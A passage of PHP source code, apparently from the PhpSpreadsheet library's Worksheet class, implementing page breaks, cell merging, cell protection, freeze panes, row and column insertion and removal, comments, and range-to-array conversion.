$cellAddress, $max); } return $this; } /** * Get breaks. * * @return int[] */ public function getBreaks(): array { $breaks = []; /** @var callable $compareFunction */ $compareFunction = [self::class, 'compareRowBreaks']; uksort($this->rowBreaks, $compareFunction); foreach ($this->rowBreaks as $break) { $breaks[$break->getCoordinate()] = self::BREAK_ROW; } /** @var callable $compareFunction */ $compareFunction = [self::class, 'compareColumnBreaks']; uksort($this->columnBreaks, $compareFunction); foreach ($this->columnBreaks as $break) { $breaks[$break->getCoordinate()] = self::BREAK_COLUMN; } return $breaks; } /** * Get row breaks. * * @return PageBreak[] */ public function getRowBreaks(): array { /** @var callable $compareFunction */ $compareFunction = [self::class, 'compareRowBreaks']; uksort($this->rowBreaks, $compareFunction); return $this->rowBreaks; } protected static function compareRowBreaks(string $coordinate1, string $coordinate2): int { $row1 = Coordinate::indexesFromString($coordinate1)[1]; $row2 = Coordinate::indexesFromString($coordinate2)[1]; return $row1 - $row2; } protected static function compareColumnBreaks(string $coordinate1, string $coordinate2): int { $column1 = Coordinate::indexesFromString($coordinate1)[0]; $column2 = Coordinate::indexesFromString($coordinate2)[0]; return $column1 - $column2; } /** * Get column breaks. * * @return PageBreak[] */ public function getColumnBreaks(): array { /** @var callable $compareFunction */ $compareFunction = [self::class, 'compareColumnBreaks']; uksort($this->columnBreaks, $compareFunction); return $this->columnBreaks; } /** * Set merge on a cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange. * @param string $behaviour How the merged cells should behave. * Possible values are: * MERGE_CELL_CONTENT_EMPTY - Empty the content of the hidden cells * MERGE_CELL_CONTENT_HIDE - Keep the content of the hidden cells * MERGE_CELL_CONTENT_MERGE - Move the content of the hidden cells into the first cell * * @return $this */ public function mergeCells(AddressRange|string|array $range, string $behaviour = self::MERGE_CELL_CONTENT_EMPTY): static { $range = Functions::trimSheetFromCellReference(Validations::validateCellRange($range)); if (!str_contains($range, ':')) { $range .= ":{$range}"; } if (preg_match('/^([A-Z]+)(\\d+):([A-Z]+)(\\d+)$/', $range, $matches) !== 1) { throw new Exception('Merge must be on a valid range of cells.'); } $this->mergeCells[$range] = $range; $firstRow = (int) $matches[2]; $lastRow = (int) $matches[4]; $firstColumn = $matches[1]; $lastColumn = $matches[3]; $firstColumnIndex = Coordinate::columnIndexFromString($firstColumn); $lastColumnIndex = Coordinate::columnIndexFromString($lastColumn); $numberRows = $lastRow - $firstRow; $numberColumns = $lastColumnIndex - $firstColumnIndex; if ($numberRows === 1 && $numberColumns === 1) { return $this; } // create upper left cell if it does not already exist $upperLeft = "{$firstColumn}{$firstRow}"; if (!$this->cellExists($upperLeft)) { $this->getCell($upperLeft)->setValueExplicit(null, DataType::TYPE_NULL); } if ($behaviour !== self::MERGE_CELL_CONTENT_HIDE) { // Blank out the rest of the cells in the range (if they exist) if ($numberRows > $numberColumns) { $this->clearMergeCellsByColumn($firstColumn, $lastColumn, $firstRow, $lastRow, $upperLeft, $behaviour); } else { $this->clearMergeCellsByRow($firstColumn, $lastColumnIndex, $firstRow, $lastRow, $upperLeft, $behaviour); } } return $this; } private function clearMergeCellsByColumn(string $firstColumn, string $lastColumn, int $firstRow, int $lastRow, string $upperLeft, string $behaviour): void { $leftCellValue = ($behaviour === self::MERGE_CELL_CONTENT_MERGE) ? [$this->getCell($upperLeft)->getFormattedValue()] : []; foreach ($this->getColumnIterator($firstColumn, $lastColumn) as $column) { $iterator = $column->getCellIterator($firstRow); $iterator->setIterateOnlyExistingCells(true); foreach ($iterator as $cell) { if ($cell !== null) { $row = $cell->getRow(); if ($row > $lastRow) { break; } $leftCellValue = $this->mergeCellBehaviour($cell, $upperLeft, $behaviour, $leftCellValue); } } } if ($behaviour === self::MERGE_CELL_CONTENT_MERGE) { $this->getCell($upperLeft)->setValueExplicit(implode(' ', $leftCellValue), DataType::TYPE_STRING); } } private function clearMergeCellsByRow(string $firstColumn, int $lastColumnIndex, int $firstRow, int $lastRow, string $upperLeft, string $behaviour): void { $leftCellValue = ($behaviour === self::MERGE_CELL_CONTENT_MERGE) ? [$this->getCell($upperLeft)->getFormattedValue()] : []; foreach ($this->getRowIterator($firstRow, $lastRow) as $row) { $iterator = $row->getCellIterator($firstColumn); $iterator->setIterateOnlyExistingCells(true); foreach ($iterator as $cell) { if ($cell !== null) { $column = $cell->getColumn(); $columnIndex = Coordinate::columnIndexFromString($column); if ($columnIndex > $lastColumnIndex) { break; } $leftCellValue = $this->mergeCellBehaviour($cell, $upperLeft, $behaviour, $leftCellValue); } } } if ($behaviour === self::MERGE_CELL_CONTENT_MERGE) { $this->getCell($upperLeft)->setValueExplicit(implode(' ', $leftCellValue), DataType::TYPE_STRING); } } public function mergeCellBehaviour(Cell $cell, string $upperLeft, string $behaviour, array $leftCellValue): array { if ($cell->getCoordinate() !== $upperLeft) { Calculation::getInstance($cell->getWorksheet()->getParentOrThrow())->flushInstance(); if ($behaviour === self::MERGE_CELL_CONTENT_MERGE) { $cellValue = $cell->getFormattedValue(); if ($cellValue !== '') { $leftCellValue[] = $cellValue; } } $cell->setValueExplicit(null, DataType::TYPE_NULL); } return $leftCellValue; } /** * Remove merge on a cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange. * * @return $this */ public function unmergeCells(AddressRange|string|array $range): static { $range = Functions::trimSheetFromCellReference(Validations::validateCellRange($range)); if (str_contains($range, ':')) { if (isset($this->mergeCells[$range])) { unset($this->mergeCells[$range]); } else { throw new Exception('Cell range ' . $range . ' not known as merged.'); } } else { throw new Exception('Merge can only be removed from a range of cells.'); } return $this; } /** * Get merge cells array. * * @return string[] */ public function getMergeCells(): array { return $this->mergeCells; } /** * Set merge cells array for the entire sheet. Use instead mergeCells() to merge * a single cell range. * * @param string[] $mergeCells * * @return $this */ public function setMergeCells(array $mergeCells): static { $this->mergeCells = $mergeCells; return $this; } /** * Set protection on a cell or cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or a CellAddress or AddressRange object. * @param string $password Password to unlock the protection * @param bool $alreadyHashed If the password has already been hashed, set this to true * * @return $this */ public function protectCells(AddressRange|CellAddress|int|string|array $range, string $password = '', bool $alreadyHashed = false, string $name = '', string $securityDescriptor = ''): static { $range = Functions::trimSheetFromCellReference(Validations::validateCellOrCellRange($range)); if (!$alreadyHashed && $password !== '') { $password = Shared\PasswordHasher::hashPassword($password); } $this->protectedCells[$range] = new ProtectedRange($range, $password, $name, $securityDescriptor); return $this; } /** * Remove protection on a cell or cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or a CellAddress or AddressRange object. * * @return $this */ public function unprotectCells(AddressRange|CellAddress|int|string|array $range): static { $range = Functions::trimSheetFromCellReference(Validations::validateCellOrCellRange($range)); if (isset($this->protectedCells[$range])) { unset($this->protectedCells[$range]); } else { throw new Exception('Cell range ' . $range . ' not known as protected.'); } return $this; } /** * Get password for protected cells. * * @return string[] * * @deprecated 2.0.1 use getProtectedCellRanges instead * @see Worksheet::getProtectedCellRanges() */ public function getProtectedCells(): array { $array = []; foreach ($this->protectedCells as $key => $protectedRange) { $array[$key] = $protectedRange->getPassword(); } return $array; } /** * Get protected cells. * * @return ProtectedRange[] */ public function getProtectedCellRanges(): array { return $this->protectedCells; } /** * Get Autofilter. */ public function getAutoFilter(): AutoFilter { return $this->autoFilter; } /** * Set AutoFilter. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|AutoFilter|string $autoFilterOrRange * A simple string containing a Cell range like 'A1:E10' is permitted for backward compatibility * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange. * * @return $this */ public function setAutoFilter(AddressRange|string|array|AutoFilter $autoFilterOrRange): static { if (is_object($autoFilterOrRange) && ($autoFilterOrRange instanceof AutoFilter)) { $this->autoFilter = $autoFilterOrRange; } else { $cellRange = Functions::trimSheetFromCellReference(Validations::validateCellRange($autoFilterOrRange)); $this->autoFilter->setRange($cellRange); } return $this; } /** * Remove autofilter. */ public function removeAutoFilter(): self { $this->autoFilter->setRange(''); return $this; } /** * Get collection of Tables. * * @return ArrayObject<int, Table> */ public function getTableCollection(): ArrayObject { return $this->tableCollection; } /** * Add Table. * * @return $this */ public function addTable(Table $table): self { $table->setWorksheet($this); $this->tableCollection[] = $table; return $this; } /** * @return string[] array of Table names */ public function getTableNames(): array { $tableNames = []; foreach ($this->tableCollection as $table) { /** @var Table $table */ $tableNames[] = $table->getName(); } return $tableNames; } /** * @param string $name the table name to search * * @return null|Table The table from the tables collection, or null if not found */ public function getTableByName(string $name): ?Table { $tableIndex = $this->getTableIndexByName($name); return ($tableIndex === null) ? null : $this->tableCollection[$tableIndex]; } /** * @param string $name the table name to search * * @return null|int The index of the located table in the tables collection, or null if not found */ protected function getTableIndexByName(string $name): ?int { $name = Shared\StringHelper::strToUpper($name); foreach ($this->tableCollection as $index => $table) { /** @var Table $table */ if (Shared\StringHelper::strToUpper($table->getName()) === $name) { return $index; } } return null; } /** * Remove Table by name. * * @param string $name Table name * * @return $this */ public function removeTableByName(string $name): self { $tableIndex = $this->getTableIndexByName($name); if ($tableIndex !== null) { unset($this->tableCollection[$tableIndex]); } return $this; } /** * Remove collection of Tables. */ public function removeTableCollection(): self { $this->tableCollection = new ArrayObject(); return $this; } /** * Get Freeze Pane. */ public function getFreezePane(): ?string { return $this->freezePane; } /** * Freeze Pane. * * Examples: * * - A2 will freeze the rows above cell A2 (i.e row 1) * - B1 will freeze the columns to the left of cell B1 (i.e column A) * - B2 will freeze the rows above and to the left of cell B2 (i.e row 1 and column A) * * @param null|array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * Passing a null value for this argument will clear any existing freeze pane for this worksheet. * @param null|array{0: int, 1: int}|CellAddress|string $topLeftCell default position of the right bottom pane * Coordinate of the cell as a string, eg: 'C5'; or as an array of [$columnIndex, $row] (e.g. [3, 5]), * or a CellAddress object. * * @return $this */ public function freezePane(null|CellAddress|string|array $coordinate, null|CellAddress|string|array $topLeftCell = null, bool $frozenSplit = false): static { $this->panes = [ 'bottomRight' => null, 'bottomLeft' => null, 'topRight' => null, 'topLeft' => null, ]; $cellAddress = ($coordinate !== null) ? Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)) : null; if ($cellAddress !== null && Coordinate::coordinateIsRange($cellAddress)) { throw new Exception('Freeze pane can not be set on a range of cells.'); } $topLeftCell = ($topLeftCell !== null) ? Functions::trimSheetFromCellReference(Validations::validateCellAddress($topLeftCell)) : null; if ($cellAddress !== null && $topLeftCell === null) { $coordinate = Coordinate::coordinateFromString($cellAddress); $topLeftCell = $coordinate[0] . $coordinate[1]; } $topLeftCell = "$topLeftCell"; $this->paneTopLeftCell = $topLeftCell; $this->freezePane = $cellAddress; $this->topLeftCell = $topLeftCell; if ($cellAddress === null) { $this->paneState = ''; $this->xSplit = $this->ySplit = 0; $this->activePane = ''; } else { $coordinates = Coordinate::indexesFromString($cellAddress); $this->xSplit = $coordinates[0] - 1; $this->ySplit = $coordinates[1] - 1; if ($this->xSplit > 0 || $this->ySplit > 0) { $this->paneState = $frozenSplit ? self::PANE_FROZENSPLIT : self::PANE_FROZEN; $this->setSelectedCellsActivePane(); } else { $this->paneState = ''; $this->freezePane = null; $this->activePane = ''; } } return $this; } public function setTopLeftCell(string $topLeftCell): self { $this->topLeftCell = $topLeftCell; return $this; } /** * Unfreeze Pane. * * @return $this */ public function unfreezePane(): static { return $this->freezePane(null); } /** * Get the default position of the right bottom pane. */ public function getTopLeftCell(): ?string { return $this->topLeftCell; } public function getPaneTopLeftCell(): string { return $this->paneTopLeftCell; } public function setPaneTopLeftCell(string $paneTopLeftCell): self { $this->paneTopLeftCell = $paneTopLeftCell; return $this; } public function usesPanes(): bool { return $this->xSplit > 0 || $this->ySplit > 0; } public function getPane(string $position): ?Pane { return $this->panes[$position] ?? null; } public function setPane(string $position, ?Pane $pane): self { if (array_key_exists($position, $this->panes)) { $this->panes[$position] = $pane; } return $this; } /** @return (null|Pane)[] */ public function getPanes(): array { return $this->panes; } public function getActivePane(): string { return $this->activePane; } public function setActivePane(string $activePane): self { $this->activePane = array_key_exists($activePane, $this->panes) ? $activePane : ''; return $this; } public function getXSplit(): int { return $this->xSplit; } public function setXSplit(int $xSplit): self { $this->xSplit = $xSplit; if (in_array($this->paneState, self::VALIDFROZENSTATE, true)) { $this->freezePane([$this->xSplit + 1, $this->ySplit + 1], $this->topLeftCell, $this->paneState === self::PANE_FROZENSPLIT); } return $this; } public function getYSplit(): int { return $this->ySplit; } public function setYSplit(int $ySplit): self { $this->ySplit = $ySplit; if (in_array($this->paneState, self::VALIDFROZENSTATE, true)) { $this->freezePane([$this->xSplit + 1, $this->ySplit + 1], $this->topLeftCell, $this->paneState === self::PANE_FROZENSPLIT); } return $this; } public function getPaneState(): string { return $this->paneState; } public const PANE_FROZEN = 'frozen'; public const PANE_FROZENSPLIT = 'frozenSplit'; public const PANE_SPLIT = 'split'; private const VALIDPANESTATE = [self::PANE_FROZEN, self::PANE_SPLIT, self::PANE_FROZENSPLIT]; private const VALIDFROZENSTATE = [self::PANE_FROZEN, self::PANE_FROZENSPLIT]; public function setPaneState(string $paneState): self { $this->paneState = in_array($paneState, self::VALIDPANESTATE, true) ? $paneState : ''; if (in_array($this->paneState, self::VALIDFROZENSTATE, true)) { $this->freezePane([$this->xSplit + 1, $this->ySplit + 1], $this->topLeftCell, $this->paneState === self::PANE_FROZENSPLIT); } else { $this->freezePane = null; } return $this; } /** * Insert a new row, updating all possible related data. * * @param int $before Insert before this row number * @param int $numberOfRows Number of new rows to insert * * @return $this */ public function insertNewRowBefore(int $before, int $numberOfRows = 1): static { if ($before >= 1) { $objReferenceHelper = ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore('A' . $before, 0, $numberOfRows, $this); } else { throw new Exception('Rows can only be inserted before at least row 1.'); } return $this; } /** * Insert a new column, updating all possible related data. * * @param string $before Insert before this column Name, eg: 'A' * @param int $numberOfColumns Number of new columns to insert * * @return $this */ public function insertNewColumnBefore(string $before, int $numberOfColumns = 1): static { if (!is_numeric($before)) { $objReferenceHelper = ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore($before . '1', $numberOfColumns, 0, $this); } else { throw new Exception('Column references should not be numeric.'); } return $this; } /** * Insert a new column, updating all possible related data. * * @param int $beforeColumnIndex Insert before this column ID (numeric column coordinate of the cell) * @param int $numberOfColumns Number of new columns to insert * * @return $this */ public function insertNewColumnBeforeByIndex(int $beforeColumnIndex, int $numberOfColumns = 1): static { if ($beforeColumnIndex >= 1) { return $this->insertNewColumnBefore(Coordinate::stringFromColumnIndex($beforeColumnIndex), $numberOfColumns); } throw new Exception('Columns can only be inserted before at least column A (1).'); } /** * Delete a row, updating all possible related data. * * @param int $row Remove rows, starting with this row number * @param int $numberOfRows Number of rows to remove * * @return $this */ public function removeRow(int $row, int $numberOfRows = 1): static { if ($row < 1) { throw new Exception('Rows to be deleted should at least start from row 1.'); } $holdRowDimensions = $this->removeRowDimensions($row, $numberOfRows); $highestRow = $this->getHighestDataRow(); $removedRowsCounter = 0; for ($r = 0; $r < $numberOfRows; ++$r) { if ($row + $r <= $highestRow) { $this->cellCollection->removeRow($row + $r); ++$removedRowsCounter; } } $objReferenceHelper = ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore('A' . ($row + $numberOfRows), 0, -$numberOfRows, $this); for ($r = 0; $r < $removedRowsCounter; ++$r) { $this->cellCollection->removeRow($highestRow); --$highestRow; } $this->rowDimensions = $holdRowDimensions; return $this; } private function removeRowDimensions(int $row, int $numberOfRows): array { $highRow = $row + $numberOfRows - 1; $holdRowDimensions = []; foreach ($this->rowDimensions as $rowDimension) { $num = $rowDimension->getRowIndex(); if ($num < $row) { $holdRowDimensions[$num] = $rowDimension; } elseif ($num > $highRow) { $num -= $numberOfRows; $cloneDimension = clone $rowDimension; $cloneDimension->setRowIndex($num); $holdRowDimensions[$num] = $cloneDimension; } } return $holdRowDimensions; } /** * Remove a column, updating all possible related data. * * @param string $column Remove columns starting with this column name, eg: 'A' * @param int $numberOfColumns Number of columns to remove * * @return $this */ public function removeColumn(string $column, int $numberOfColumns = 1): static { if (is_numeric($column)) { throw new Exception('Column references should not be numeric.'); } $highestColumn = $this->getHighestDataColumn(); $highestColumnIndex = Coordinate::columnIndexFromString($highestColumn); $pColumnIndex = Coordinate::columnIndexFromString($column); $holdColumnDimensions = $this->removeColumnDimensions($pColumnIndex, $numberOfColumns); $column = Coordinate::stringFromColumnIndex($pColumnIndex + $numberOfColumns); $objReferenceHelper = ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore($column . '1', -$numberOfColumns, 0, $this); $this->columnDimensions = $holdColumnDimensions; if ($pColumnIndex > $highestColumnIndex) { return $this; } $maxPossibleColumnsToBeRemoved = $highestColumnIndex - $pColumnIndex + 1; for ($c = 0, $n = min($maxPossibleColumnsToBeRemoved, $numberOfColumns); $c < $n; ++$c) { $this->cellCollection->removeColumn($highestColumn); $highestColumn = Coordinate::stringFromColumnIndex(Coordinate::columnIndexFromString($highestColumn) - 1); } $this->garbageCollect(); return $this; } private function removeColumnDimensions(int $pColumnIndex, int $numberOfColumns): array { $highCol = $pColumnIndex + $numberOfColumns - 1; $holdColumnDimensions = []; foreach ($this->columnDimensions as $columnDimension) { $num = $columnDimension->getColumnNumeric(); if ($num < $pColumnIndex) { $str = $columnDimension->getColumnIndex(); $holdColumnDimensions[$str] = $columnDimension; } elseif ($num > $highCol) { $cloneDimension = clone $columnDimension; $cloneDimension->setColumnNumeric($num - $numberOfColumns); $str = $cloneDimension->getColumnIndex(); $holdColumnDimensions[$str] = $cloneDimension; } } return $holdColumnDimensions; } /** * Remove a column, updating all possible related data. * * @param int $columnIndex Remove starting with this column Index (numeric column coordinate) * @param int $numColumns Number of columns to remove * * @return $this */ public function removeColumnByIndex(int $columnIndex, int $numColumns = 1): static { if ($columnIndex >= 1) { return $this->removeColumn(Coordinate::stringFromColumnIndex($columnIndex), $numColumns); } throw new Exception('Columns to be deleted should at least start from column A (1)'); } /** * Show gridlines? */ public function getShowGridlines(): bool { return $this->showGridlines; } /** * Set show gridlines. * * @param bool $showGridLines Show gridlines (true/false) * * @return $this */ public function setShowGridlines(bool $showGridLines): self { $this->showGridlines = $showGridLines; return $this; } /** * Print gridlines? */ public function getPrintGridlines(): bool { return $this->printGridlines; } /** * Set print gridlines. * * @param bool $printGridLines Print gridlines (true/false) * * @return $this */ public function setPrintGridlines(bool $printGridLines): self { $this->printGridlines = $printGridLines; return $this; } /** * Show row and column headers? */ public function getShowRowColHeaders(): bool { return $this->showRowColHeaders; } /** * Set show row and column headers. * * @param bool $showRowColHeaders Show row and column headers (true/false) * * @return $this */ public function setShowRowColHeaders(bool $showRowColHeaders): self { $this->showRowColHeaders = $showRowColHeaders; return $this; } /** * Show summary below? (Row/Column outlining). */ public function getShowSummaryBelow(): bool { return $this->showSummaryBelow; } /** * Set show summary below. * * @param bool $showSummaryBelow Show summary below (true/false) * * @return $this */ public function setShowSummaryBelow(bool $showSummaryBelow): self { $this->showSummaryBelow = $showSummaryBelow; return $this; } /** * Show summary right? (Row/Column outlining). */ public function getShowSummaryRight(): bool { return $this->showSummaryRight; } /** * Set show summary right. * * @param bool $showSummaryRight Show summary right (true/false) * * @return $this */ public function setShowSummaryRight(bool $showSummaryRight): self { $this->showSummaryRight = $showSummaryRight; return $this; } /** * Get comments. * * @return Comment[] */ public function getComments(): array { return $this->comments; } /** * Set comments array for the entire sheet. * * @param Comment[] $comments * * @return $this */ public function setComments(array $comments): self { $this->comments = $comments; return $this; } /** * Remove comment from cell. * * @param array{0: int, 1: int}|CellAddress|string $cellCoordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * * @return $this */ public function removeComment(CellAddress|string|array $cellCoordinate): self { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($cellCoordinate)); if (Coordinate::coordinateIsRange($cellAddress)) { throw new Exception('Cell coordinate string can not be a range of cells.'); } elseif (str_contains($cellAddress, '$')) { throw new Exception('Cell coordinate string must not be absolute.'); } elseif ($cellAddress == '') { throw new Exception('Cell coordinate can not be zero-length string.'); } // Check if we have a comment for this cell and delete it if (isset($this->comments[$cellAddress])) { unset($this->comments[$cellAddress]); } return $this; } /** * Get comment for cell. * * @param array{0: int, 1: int}|CellAddress|string $cellCoordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. */ public function getComment(CellAddress|string|array $cellCoordinate, bool $attachNew = true): Comment { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($cellCoordinate)); if (Coordinate::coordinateIsRange($cellAddress)) { throw new Exception('Cell coordinate string can not be a range of cells.'); } elseif (str_contains($cellAddress, '$')) { throw new Exception('Cell coordinate string must not be absolute.'); } elseif ($cellAddress == '') { throw new Exception('Cell coordinate can not be zero-length string.'); } // Check if we already have a comment for this cell. if (isset($this->comments[$cellAddress])) { return $this->comments[$cellAddress]; } // If not, create a new comment. $newComment = new Comment(); if ($attachNew) { $this->comments[$cellAddress] = $newComment; } return $newComment; } /** * Get active cell. * * @return string Example: 'A1' */ public function getActiveCell(): string { return $this->activeCell; } /** * Get selected cells. */ public function getSelectedCells(): string { return $this->selectedCells; } /** * Selected cell. * * @param string $coordinate Cell (i.e. A1) * * @return $this */ public function setSelectedCell(string $coordinate): static { return $this->setSelectedCells($coordinate); } /** * Select a range of cells. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $coordinate A simple string containing a Cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or a CellAddress or AddressRange object. * * @return $this */ public function setSelectedCells(AddressRange|CellAddress|int|string|array $coordinate): static { if (is_string($coordinate)) { $coordinate = Validations::definedNameToCoordinate($coordinate, $this); } $coordinate = Validations::validateCellOrCellRange($coordinate); if (Coordinate::coordinateIsRange($coordinate)) { [$first] = Coordinate::splitRange($coordinate); $this->activeCell = $first[0]; } else { $this->activeCell = $coordinate; } $this->selectedCells = $coordinate; $this->setSelectedCellsActivePane(); return $this; } private function setSelectedCellsActivePane(): void { if (!empty($this->freezePane)) { $coordinateC = Coordinate::indexesFromString($this->freezePane); $coordinateT = Coordinate::indexesFromString($this->activeCell); if ($coordinateC[0] === 1) { $activePane = ($coordinateT[1] <= $coordinateC[1]) ? 'topLeft' : 'bottomLeft'; } elseif ($coordinateC[1] === 1) { $activePane = ($coordinateT[0] <= $coordinateC[0]) ? 'topLeft' : 'topRight'; } elseif ($coordinateT[1] <= $coordinateC[1]) { $activePane = ($coordinateT[0] <= $coordinateC[0]) ? 'topLeft' : 'topRight'; } else { $activePane = ($coordinateT[0] <= $coordinateC[0]) ? 'bottomLeft' : 'bottomRight'; } $this->setActivePane($activePane); $this->panes[$activePane] = new Pane($activePane, $this->selectedCells, $this->activeCell); } } /** * Get right-to-left. */ public function getRightToLeft(): bool { return $this->rightToLeft; } /** * Set right-to-left. * * @param bool $value Right-to-left true/false * * @return $this */ public function setRightToLeft(bool $value): static { $this->rightToLeft = $value; return $this; } /** * Fill worksheet from values in array. * * @param array $source Source array * @param mixed $nullValue Value in source array that stands for blank cell * @param string $startCell Insert array starting from this cell address as the top left coordinate * @param bool $strictNullComparison Apply strict comparison when testing for null values in the array * * @return $this */ public function fromArray(array $source, mixed $nullValue = null, string $startCell = 'A1', bool $strictNullComparison = false): static { // Convert a 1-D array to 2-D (for ease of looping) if (!is_array(end($source))) { $source = [$source]; } // start coordinate [$startColumn, $startRow] = Coordinate::coordinateFromString($startCell); // Loop through $source foreach ($source as $rowData) { $currentColumn = $startColumn; foreach ($rowData as $cellValue) { if ($strictNullComparison) { if ($cellValue !== $nullValue) { // Set cell value $this->getCell($currentColumn . $startRow)->setValue($cellValue); } } else { if ($cellValue != $nullValue) { // Set cell value $this->getCell($currentColumn . $startRow)->setValue($cellValue); } } ++$currentColumn; } ++$startRow; } return $this; } /** * @throws Exception * @throws \PhpOffice\PhpSpreadsheet\Calculation\Exception */ protected function cellToArray(Cell $cell, bool $calculateFormulas, bool $formatData, mixed $nullValue): mixed { $returnValue = $nullValue; if ($cell->getValue() !== null) { if ($cell->getValue() instanceof RichText) { $returnValue = $cell->getValue()->getPlainText(); } else { $returnValue = ($calculateFormulas) ? $cell->getCalculatedValue() : $cell->getValue(); } if ($formatData) { $style = $this->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex()); $returnValue = NumberFormat::toFormattedString( $returnValue, $style->getNumberFormat()->getFormatCode() ?? NumberFormat::FORMAT_GENERAL ); } } return $returnValue; } /** * Create array from a range of cells. * * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param bool $calculateFormulas Should formulas be calculated? * @param bool $formatData Should formatting be applied to cell values? * @param bool $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @param bool $ignoreHidden False - Return values for rows/columns even if they are defined as hidden. * True - Don't return values for rows/columns that are defined as hidden. */ public function rangeToArray( string $range, mixed $nullValue = null, bool $calculateFormulas = true, bool $formatData = true, bool $returnCellRef = false, bool $ignoreHidden = false ): array { $returnValue = []; // Loop through rows foreach ($this->rangeToArrayYieldRows($range, $nullValue, $calculateFormulas, $formatData, $returnCellRef, $ignoreHidden) as $rowRef => $rowArray) { $returnValue[$rowRef] = $rowArray; } // Return return $returnValue; } /** * Create array from a range of cells, yielding each row in turn. * * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param bool $calculateFormulas Should formulas be calculated? * @param bool $formatData Should formatting be applied to cell values? * @param bool $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @param bool $ignoreHidden False - Return values for rows/columns even if they are defined as hidden. * True - Don't return values for rows/columns that are defined as hidden. * * @return Generator<array> */ public function rangeToArrayYieldRows( string $range, mixed $nullValue = null, bool $calculateFormulas = true, bool $formatData = true, bool $returnCellRef = false, bool $ignoreHidden = false ) { $range = Validations::validateCellOrCellRange($range); // Identify the range that we need to extract from the worksheet [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($range); $minCol = Coordinate::stringFromColumnIndex($rangeStart[0]); $minRow = $rangeStart[1]; $maxCol = Coordinate::stringFromColumnIndex($rangeEnd[0]); $maxRow = $rangeEnd[1]; $minColInt = $rangeStart[0]; $maxColInt = $rangeEnd[0]; ++$maxCol; /** @var array<string, bool> */ $hiddenColumns = []; $nullRow = $this->buildNullRow($nullValue, $minCol, $maxCol, $returnCellRef, $ignoreHidden, $hiddenColumns); $hideColumns = !empty($hiddenColumns); $keys = $this->cellCollection->getSortedCoordinatesInt(); $keyIndex = 0; $keysCount = count($keys); // Loop through rows for ($row = $minRow; $row <= $maxRow; ++$row) { if (($ignoreHidden === true) && ($this->isRowVisible($row) === false)) { continue; } $rowRef = $returnCellRef ? $row : ($row - $minRow); $returnValue = $nullRow; $index = ($row - 1) * AddressRange::MAX_COLUMN_INT + 1; $indexPlus = $index + AddressRange::MAX_COLUMN_INT - 1; while ($keyIndex < $keysCount && $keys[$keyIndex] < $index) { ++$keyIndex; } while ($keyIndex < $keysCount && $keys[$keyIndex] <= $indexPlus) { $key = $keys[$keyIndex]; $thisRow = intdiv($key - 1, AddressRange::MAX_COLUMN_INT) + 1; $thisCol = ($key % AddressRange::MAX_COLUMN_INT) ?: AddressRange::MAX_COLUMN_INT; if ($thisCol >= $minColInt && $thisCol <= $maxColInt) { $col = Coordinate::stringFromColumnIndex($thisCol); if ($hideColumns === false || !isset($hiddenColumns[$col])) { $columnRef = $returnCellRef ? $col : ($thisCol - $minColInt); $cell = $this->cellCollection->get("{$col}{$thisRow}"); if ($cell !== null) { $value = $this->cellToArray($cell, $calculateFormulas, $formatData, $nullValue); if ($value !== $nullValue) { $returnValue[$columnRef] = $value; } } } } ++$keyIndex; } yield $rowRef => $returnValue; } } /** * Prepare a row data filled with null values to deduplicate the memory areas for empty rows. * * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param string $minCol Start column of the range * @param string $maxCol End column of the range * @param bool $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @param bool $ignoreHidden False - Return values for rows/columns even if they are defined as hidden. * True - Don't return values for rows/columns that are defined as hidden. * @param array<string, bool> $hiddenColumns */ private function buildNullRow( mixed $nullValue, string $minCol, string $maxCol, bool $returnCellRef, bool $ignoreHidden, array &$hiddenColumns ): array { $nullRow = []; $c = -1; for ($col = $minCol; $col !== $maxCol; ++$col) { if ($ignoreHidden === 